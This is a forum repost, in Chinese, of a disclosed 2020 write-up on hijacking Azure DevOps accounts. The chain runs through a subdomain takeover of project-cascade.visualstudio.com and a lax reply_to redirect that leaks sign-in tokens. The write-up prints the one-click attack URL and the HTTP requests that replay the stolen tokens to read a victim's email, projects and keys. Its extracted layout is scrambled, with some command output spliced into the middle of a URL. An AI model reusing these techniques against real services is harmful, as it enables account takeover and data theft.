搜索

[15672] 2020-07-31_安全研究通过域名劫持实现AzureDevOps账户劫持

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2020-07-31_安全研究通过域名劫持实现AzureDevOps账户劫持 安 全 研 究   |   通 过 域 名 劫 持 实 现 A z u r e   D e v O p s 账 户 劫 持 F r e e B u f   2 0 2 0 - 0 7 - 3 1 当 测 试 子 域 名 劫 持 漏 洞 （ s u b d o m a i n   t a k e o v e r ） 时 ， 通 常 需 要 明 白 利 用 劫 持 域 名 能 做 什 么 ， 其 产 生 的 实 际 危 害 和 影 响 有 多 大 。 最 近 ， 作 者 就 劫 持 了 微 软 开 发 者 网 站 子 域 名 p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m ， 并 利 用 它 实 现 了 针 对 集 成 开 发 环 境 A z u r e   D e v O p s 账 户 的 一 键 劫 持 。 一 起 来 看 看 。 域 名 劫 持 域 名 劫 持 通 过 自 动 化 测 试 ， 我 们 发 现 了 * . v i s u a l s t u d i o . c o m 的 一 个 子 域 名 - p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m ， 它 的 N S 记 录 指 向 了 A z u r e   D N S ， 但 从 l o o k u p 的 解 析 结 果 来 看 ， 却 是 被 拒 绝 掉 的 （ R e f u s e d ） ： d n s - t a k e o v e r   l o o k u p   p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   o n   n a m e s e r v e r   n s 3 - 0 5 . a z u r e - d n s . o r g   s t a t u s :   [ R e f u s e d ] d n s - t a k e o v e r   l o o k u p   p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   o n   n a m e s e r v e r   n s 2 - 0 5 . a z u r e - d n s . n e t   s t a t u s :   [ R e f u s e d ] d n s - t a k e o v e r   l o o k u p   p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   o n   n a m e s e r v e r   n s 1 - 0 5 . a z u r e - d n s . c o m   s t a t u s :   [ R e f u s e d ] d n s - t a k e o v e r   l o o k u p   p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   o n   n a m e s e r v e r   n s 4 - 0 5 . a z u r e - d n s . i n f o   s t a t u s :   [ R e f u s e d ] 从 上 述 R e f u s e d 状 态 的 l o o k u p 解 析 中 可 以 看 出 ， p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m 本 来 是 注 册 指 向 A z u r e   D N S 的 ， 但 是 ， 现 在 它 在 A z u r e   D N S 的 注 册 指 向 是 空 的 了 ， 也 就 是 说 ， 我 们 可 以 用 手 头 现 有 的 A z u r e 账 户 来 注 册 获 得 （ t a k e o v e r ） 这 个 子 域 名 ， 然 后 往 其 中 创 建 任 意 的 D N S 记 录 。 注 册 后 的 p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m 状 态 如 下 ： 然 后 ， 往 其 中 添 加 两 条 解 析 记 录 ： T X T   R e c o r d   -   t x t . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m   （ 附 带 A z u r e   D N S   Z o n e   T a k e o v e r   P O C 的 域 名 设 置 说 明 信 息 ） A   R e c o r d   -   a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m   （ 添 加 到   由 我 们 控 制 I P 地 址 3 . 8 8 . 2 0 3 . 2 0 3 的 记 录 ） 用 d i g 命 令 来 查 询 验 证 一 下 ： 深 入 测 试 深 入 测 试 这 样 看 来 ， 我 们 已 经 接 管 了 p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m 子 域 名 了 ， 那 就 来 看 看 它 可 以 产 生 的 具 体 危 害 吧 。 我 们 注 意 到 ， 某 些 v i s u a l s t u d i o . c o m 下 的 子 域 会 通 过 l o g i n . m i c r o s o f t o n l i n e . c o m 来 进 行 一 些 身 份 校 验 ， 就 比 如 访 问 域 名 a p p . v s s p s . v i s u a l s t u d i o . c o m 后 ， 会 产 生 以 下 跳 转 到 l o g i n . m i c r o s o f t o n l i n e . c o m 的 一 个 动 作 ： h t t p s : / / a p p . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n i n ? r e a l m = a p p . v s a e x . v i s u a l s t u d i o . c o m & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a p p . v s a e x . v i s u a l s t u d i o . c o m % 2 F & r e d i r e c t = 1 & c o n t e x t = e y J o d C I 6 M y w i a G l k I j o i N D A 0 O D F k Z D A t Z D U z M S 1 h M W E 2 L W Q 0 M z Y t M D Q x N T k 3 M W I 0 M m Q 2 I i w i c X M i O n t 9 L C J y c i I 6 I i I s I n Z o I j o i I i w i Y 3 Y i O i I i L C J j c y I 6 I i J 9 0 # c t x = e y J T a W d u S W 5 D b 2 9 r a W V E b 2 1 h a W 5 z I j p b I m h 0 d H B z O i 8 v b G 9 n a W 4 u b W l j c m 8 z b 2 Z 0 b 2 5 s a W 5 l L m N v b S J d f Q 2 之 后 就 会 跳 转 到 h t t p s : / / l o g i n . m i c r o s o f t o n l i n e . c o m / … o m i t t e d … 进 行 身 份 校 验 。 上 述 跳 转 校 验 机 制 中 最 重 要 的 两 个 部 份 是 ： h t t p s : / / a p p . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n i n : r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a p p . v s a e x . v i s u a l s t u d i o . c o m % 2 F 经 过 测 试 我 们 发 现 ， 该 跳 转 校 验 机 制 中 对 域 名 的 限 制 比 较 宽 松 ， 允 许 任 意 * . v i s u a l s t u d i o . c o m 子 域 来 接 收 身 份 校 验 t o k e n 。 为 了 验 证 ， 我 们 构 造 了 以 下 U R L 测 试 链 接 ： h t t p s : / / a p p . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n i n ? r e a l m = a p p . v s a e x . v i s u a l s t u d i o . c o m & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - $   d i g   t x t   t x t . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m   @ 1 . 1 . 1 . 1   . . . o m i t t e d   f o r   b r e v i t y . . .   ; ;   A N S W E R   S E C T I O N :   t x t . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   1 0   I N   T X T   " A z u r e   D N S   Z o n e   T a k e o v e r   P O C " $   d i g   a   a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m   @ 1 . 1 . 1 . 1 . . . o m i t t e d   f o r   b r e v i t y . . . ; ;   A N S W E R   S E C T I O N : a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   2 4 7 5   I N   A   3 . 8 8 . 2 0 3 . 2 0 3
c a s c a d e . v i s u a l s t u d i o . c o m % 2 F & r e d i r e c t = 1 & c o n t e x t = e y J o d C I 6 M y w i a G l k I j o i N D A 0 O D F k Z D A t Z D U z M S 1 h M W E 2 L W Q 0 M z Y t M D Q x N T k 3 M W I 0 M m Q 2 I i w i c X M i O n t 9 L C J y c i I 6 I i I s I n Z o I j o i I i w i Y 3 Y i O i I i L C J j c y I 6 I i J 9 0 在 该 构 造 链 接 中 ， 我 们 把 原 先 的 r e p l y _ t o 参 数 值 更 改 为 了 我 们 控 制 的 子 域 h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 。 访 问 该 链 接 后 ， 一 样 会 跳 转 到 正 常 的 m i c r o s o f t   l i v e . c o m 登 录 界 面 ， 当 然 如 果 当 前 用 户 是 登 录 后 状 态 ， 也 一 样 会 在 其 中 执 行 跳 转 请 求 ： 假 设 受 害 者 访 问 登 录 了 该 链 接 ， 则 在 跳 转 过 程 中 会 执 行 一 个 对 我 们 控 制 域 名 a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m 的 P O S T 请 求 ， 如 下 ： 则 在 我 们 控 制 的 域 名 端 a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m 后 台 ， 就 会 自 动 发 起 针 对 a p p . v s a e x . v i s u a l s t u d i o . c o m 的 一 个 P O S T 请 求 ， 还 会 接 收 到 受 害 者 访 问 a p p . v s a e x . v i s u a l s t u d i o . c o m 的 另 一 个 身 份 校 验 t o k e n 信 息 ， 如 下 ： 漏 洞 利 用 漏 洞 利 用 利 用 上 述 后 续 获 得 的 身 份 校 验 t o k e n ， 我 们 可 以 发 起 针 对 v s a e x . v i s u a l s t u d i o . c o m ,   d e v . a z u r e . c o m   a n d   v s s p s . d e v . a z u r e . c o m 等 合 法 域 名 的 身 份 验 证 ， 形 成 有 效 登 录 ， 实 现 对 这 些 账 户 的 身 份 劫 持 。 如 以 劫 持 a p p . v s a e x . v i s u a l s t u d i o . c o m 账 户 为 例 ， 携 带 上 述 窃 取 t o k e n 发 起 身 份 校 验 请 求 ： P O S T   / _ s i g n e d i n ? r e a l m = a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m & p r o t o c o l = & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 F   H T T P / 1 . 1 H o s t :   a r e c . v s s p s . v i s u a l s t u d i o . c o m C o o k i e :   . . . o m i t t e d   f o r   b r e v i t y . . . i d _ t o k e n = < s n i p > & F e d A u t h = < s n i p > & F e d A u t h 1 = < s n i p > % 2 B P O S T   / _ s i g n e d i n ? r e a l m = a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m & p r o t o c o l = & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 F   H T T P / 1 . 1 H o s t :   a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m C o n t e n t - L e n g t h :   4 6 3 4 R e f e r e r :   h t t p s : / / a r e c . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n e d i n ? r e a l m = a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m & p r o t o c o l = & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 F C o o k i e :   . . . o m i t t e d   f o r   b r e v i t y . . . i d _ t o k e n = < s n i p > & F e d A u t h = < s n i p > & F e d A u t h 1 = < s n i p > P O S T   / _ a p i s / W e b P l a t f o r m A u t h / S e s s i o n T o k e n   H T T P / 1 . 1 H o s t :   a p p . v s a e x . v i s u a l s t u d i o . c o m C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   1 0 5 O r i g i n :   h t t p s : / / a p p . v s a e x . v i s u a l s t u d i o . c o m X - V S S - R e a u t h e n t i c a t i o n A c t i o n :   S u p p r e s s C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n A c c e p t :   a p p l i c a t i o n / j s o n ; a p i - v e r s i o n = 6 . 0 - p r e v i e w . 1 ; e x c l u d e U r l s = t r u e
之 后 ， 服 务 端 会 响 应 回 另 一 个 a p p . v s a e x . v i s u a l s t u d i o . c o m 分 配 的 用 户 有 效 t o k e n ： 利 用 该 t o k e n ， 可 以 在 a p p . v s a e x . v i s u a l s t u d i o . c o m 中 执 行 用 户 邮 件 获 取 ， 请 求 ： 响 应 ： h t t p s : / / a p p . v s a e x . v i s u a l s t u d i o . c o m / m e ? m k t = e n - U S 访 问 用 户 关 联 在 d e v . a z u r e . c o m 上 的 一 些 开 发 项 目 ： 且 最 终 能 访 问 获 取 到 用 户 托 管 在 d e v . a z u r e . c o m 上 的 项 目 资 源 。 请 求 ： A c c e p t :   a p p l i c a t i o n / j s o n ; a p i - v e r s i o n = 6 . 0 - p r e v i e w . 1 ; e x c l u d e U r l s = t r u e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t . . . o m i t t e d   f o r   b r e v i t y . . . C o o k i e :   U s e r A u t h e n t i c a t i o n = < s n i p p e d   i d _ t o k e n > ;   F e d A u t h = < s n i p p e d   F e d A u t h > ;   F e d A u t h 1 = < s n i p p e d > { " a p p I d " : " 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 " , " f o r c e " : f a l s e , " t o k e n T y p e " : 0 , " n a m e d T o k e n I d " : " A e x . P r o f i l e " } H T T P / 1 . 1   2 0 0   O K C a c h e - C o n t r o l :   n o - c a c h e ,   n o - s t o r e ,   m u s t - r e v a l i d a t e P r a g m a :   n o - c a c h e C o n t e n t - L e n g t h :   9 3 3 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = u t f - 8 ;   a p i - v e r s i o n = 6 . 0 - p r e v i e w . 1 . . . o m i t t e d   f o r   b r e v i t y . . . { " a p p I d " : " 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 " , " t o k e n " : " < s n i p > " , " t o k e n T y p e " : " s e s s i o n " , " v a l i d T o " : " 2 0 2 0 - 0 5 - 1 2 T 0 6 : 4 5 : 4 7 . 2 0 0 7 4 7 4 Z " , " n a m e d T o k e n I d " : " A e x . P r o f i l e " } G E T   / _ a p i s / U s e r / U s e r   H T T P / 1 . 1 H o s t :   a p p . v s a e x . v i s u a l s t u d i o . c o m C o n n e c t i o n :   c l o s e X - T F S - F e d A u t h R e d i r e c t :   S u p p r e s s X - V S S - R e a u t h e n t i c a t i o n A c t i o n :   S u p p r e s s X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t A c c e p t - L a n g u a g e :   e n - U S A u t h o r i z a t i o n :   B e a r e r   < s n i p   j u s t   r e c i e v e d   b e a r e r   t o k e n > A c c e p t :   a p p l i c a t i o n / j s o n ; a p i - v e r s i o n = 6 . 0 - p r e v i e w . 1 ; e x c l u d e U r l s = t r u e U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 9 . 0 . 3 9 4 5 . 1 3 0   S a f a r i / 5 3 7 . 3 6 X - T F S - S e s s i o n :   a b 1 e 4 b 5 6 - 5 9 9 c - 4 a b 6 - 9 f 5 e - 7 5 6 c 4 8 6 a 0 f 2 b S e c - F e t c h - S i t e :   s a m e - o r i g i n S e c - F e t c h - M o d e :   c o r s R e f e r e r :   h t t p s : / / a p p . v s a e x . v i s u a l s t u d i o . c o m / m e ? m k t = e n - U S A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e H T T P / 1 . 1   2 0 0   O K C a c h e - C o n t r o l :   n o - c a c h e P r a g m a :   n o - c a c h e C o n t e n t - L e n g t h :   2 5 8 . . . o m i t t e d   f o r   b r e v i t y . . . { " d e s c r i p t o r " : " m s a . N T g 0 Z j c 4 N D A t Y z c 5 Z C 0 3 M W U 0 L W J k N 2 I t M D Z h Y 2 Y 1 N 2 Q 2 O T A 1 " , " d i s p l a y N a m e " : " s " , " m a i l " : " < a c c o u n t _ e m a i l > " , " u n c o n f i r m e d M a i l " : n u l l , " c o u n t r y " : " A U " , " d a t e C r e a t e d " : " 2 0 1 8 - 0 5 - 2 5 T 2 3 : 1 9 : 5 3 . 6 8 4 3 3 8 3 + 0 0 : 0 0 " 同 时 ， 利 用 该 窃 取 t o k e n ， 还 能 通 过 链 接 G E T   / s e a n y e o h / _ u s e r s S e t t i n g s / k e y s ? _ _ r t = f p s & _ _ v e r = 2   H T T P / 1 . 1 H o s t :   d e v . a z u r e . c o m C o n n e c t i o n :   c l o s e x - t f s - f e d a u t h r e d i r e c t :   S u p p r e s s O r i g i n :   h t t p s : / / d e v . a z u r e . c o m x - v s s - r e a u t h e n t i c a t i o n a c t i o n :   S u p p r e s s a u t h o r i z a t i o n :   B e a r e r   < s n i p > a c c e p t :   a p p l i c a t i o n / j s o n ; a p i - v e r s i o n = 5 . 0 - p r e v i e w . 1 ; e x c l u d e U r l s = t r u e ; e n u m s A s N u m b e r s = t r u e ; m s D a t e F o r m a t = t r u e ; n o A r r a y W r a p = t r u e U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 9 . 0 . 3 9 4 5 . 1 3 0   S a f a r i / 5 3 7 . 3 6 S e c - F e t c h - S i t e :   s a m e - s i t e S e c - F e t c h - M o d e :   c o r s A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 9
危 害 影 响 危 害 影 响 恶 意 攻 击 者 可 以 构 造 以 下 链 接 ， 发 送 给 无 意 受 害 者 ， 实 现 对 受 害 者 账 户 的 一 键 点 击 劫 持 ： h t t p s : / / a p p . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n i n ? r e a l m = a p p . v s a e x . v i s u a l s t u d i o . c o m & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 F & r e d i r e c t = 1 & c o n t e x t = e y J o d C I 6 M y w i a G l k I j o i N D A 0 O D F k Z D A t Z D U z M S 1 h M W E 2 L W Q 0 M z Y t M D Q x N T k 3 M W I 0 M m Q 2 I i w i c X M i O n t 9 L C J y c i I 6 I i I s I n Z o I j o i I i w i Y 3 Y i O i I i L C J j c y I 6 I i J 9 0 在 攻 击 者 获 得 a p p . v s a e x . v i s u a l s t u d i o . c o m 的 访 问 令 牌 后 ， 即 能 完 全 劫 持 受 害 者 的 A z u r e   D e v O p s 环 境 账 户 。 此 外 ， 通 过 对 p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m 的 劫 持 ， 还 可 以 设 置 M X 邮 件 转 发 记 录 ， 获 取 * . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m 上 的 邮 件 数 据 ， 甚 至 是 创 建 S S L 证 书 ， 形 成 对 M i c r o s o f t 服 务 的 欺 诈 假 冒 。 漏 洞 修 复 漏 洞 修 复 重 新 注 册 域 名 p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m ， 获 得 对 其 控 制 权 限 制 a p p . v s s p s . v i s u a l s t u d i o . c o m 中 r e p l y _ t o 产 生 的 t o k e n 对 域 a p p . v s a e x . v i s u a l s t u d i o . c o m 的 访 问 漏 洞 上 报 和 处 理 进 程 漏 洞 上 报 和 处 理 进 程 2 0 2 0 . 5 . 2 0   -   漏 洞 上 报 2 0 2 0 . 5 . 2 2   -   漏 洞 分 类 2 0 2 0 . 5 . 2 2   -   获 得 微 软 $ 3 0 0 0 奖 励 参 考 来 源 参 考 来 源 a s s e t n o t e 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理